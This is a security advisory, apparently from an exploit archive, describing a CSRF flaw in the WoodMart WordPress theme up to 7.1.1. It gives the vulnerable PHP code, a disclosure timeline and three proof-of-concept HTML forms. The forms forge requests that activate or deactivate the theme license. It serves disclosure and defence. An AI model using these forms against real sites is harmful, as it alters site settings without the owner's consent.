WordPress WoodMart Theme <= 7.1.1 - Theme License Options Change via CSRF

2023.03.05
ru FearZzZz (RU) ru
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

==== [ Z://USB-00_RESEARCH/WORDPRESS/ ] ============================================= [ 2023 ] == Report Title: WordPress WoodMart Theme <= 7.1.1 - Theme License Options Change via CSRF Google Dork: inurl:/wp-content/themes/woodmart/ Research Date: 2023-02-10 Researcher: FearZzZz [ https://fearzzzz.ru ] Component Vendor: XTemos [ https://themeforest.net/user/xtemos ] Vulnerable Version: <= 7.1.1 Component Link: https://themeforest.net/item/woodmart-woocommerce-wordpress-theme/20264492 CVSS Base Score: 5.4 (Medium) CVSS Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L OWASP Top 10: A01: 2021 – Broken Access Control CWE: CWE-352 CVE: TBA ================================================================================================= #### [ Description: ] The WoodMart theme for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to, and including, v7.1.1, because of missing nonce validation on the 'process_form' function. This vulnerability could allow an attacker to trick users into performing an action they didn't intend to perform under their current authentication. #### [ Vulnerable Code: ] File #0: ~/woodmart/inc/classes/License.php, lines: 134-143. ``` if ( isset( $_POST['purchase-code-deactivate'] ) ) { $this->deactivate(); $this->_notices->add_success( 'Theme license is successfully deactivated.' ); return; } if ( isset( $_POST['woodmart-purchase-code'] ) && ( ! isset( $_POST['agree_stored'] ) || empty( $_POST['agree_stored'] ) ) ) { $this->_notices->add_error( 'You must agree to store your purchase code and user data by xtemos.com' ); return; } ``` #### [ Impact: ] Impact of a CSRF vulnerability is related to the privileges of the target user. Depending on the nature of the action, an attacker might be able to change some data or gain full control over the user's account. If the compromised user has a privileged role (administrator, i.e.) within the application, then the attacker can gain full control over the application. #### [ Proof-of-Concept: ] ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/wp-admin/admin.php?page=xts_dashboard&tab=wizard&step=activation" method="POST"> <input type="hidden" name="purchase&#45;code" value="Z" /> <input type="hidden" name="agree&#95;stored" value="on" /> <input type="hidden" name="woodmart&#45;purchase&#45;code" value="Activate&#32;theme" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/wp-admin/admin.php?page=xts_license" method="POST"> <input type="hidden" name="purchase&#45;code" value="Z" /> <input type="hidden" name="agree&#95;stored" value="on" /> <input type="hidden" name="woodmart&#45;purchase&#45;code" value="Activate&#32;theme" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/wp-admin/admin.php?page=xts_license" method="POST"> <input type="hidden" name="purchase&#45;code&#45;deactivate" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` #### [ Timeline: ] 2023.02.10 - Vulnerability has been discovered. 2023.02.13 - WoodMart Theme v7.1.0 released. 2023.02.14 - WoodMart Theme v7.1.1 released. 2023.02.14 - Vendor notified, received a quick response. 2023.02.14 - All the details was addressed to Envato and Patchstack. CVE ID requested. 2023.02.15 - WoodMart Theme v7.1.2 released, the vulnerability has been fixed. #### [ Contacts: ] Website: fearzzzz.ru Email: fearzzzz@tutanota.com Twitter: https://twitter.com/fear_zzzz Medium: https://fearzzzz.medium.com GitHub: https://github.com/fearzzzz YouTube: https://youtube.com/@fearzzzz #### [ Notes: ] Special thanks to Mikhail Kobzarev (https://t.me/mihdan | https://wp-digest.com) for providing the original theme files. Additional greetings to Kailoon (ThemeForest Senior Reviewer, https://kailoon.com) and XTemos Studio (https://themeforest.net/user/xtemos) for the prompt response. #### [ Disclaimer: ] The information provided in this report is provided "as is" without warranty of any kind. FearZzZz disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall FearZzZz be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if FearZzZz have been advised of the possibility of such damages. ========================================================================== [ www.fearzzzz.ru ] ==

Referencje:

https://raw.githubusercontent.com/fearzzzz/fearzzzz.github.io/main/vulnerability/%5B2023-02-10%5D-%5BWordPress%5D-WoodMart-Premium-Theme-v7.1.1-CSRF.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top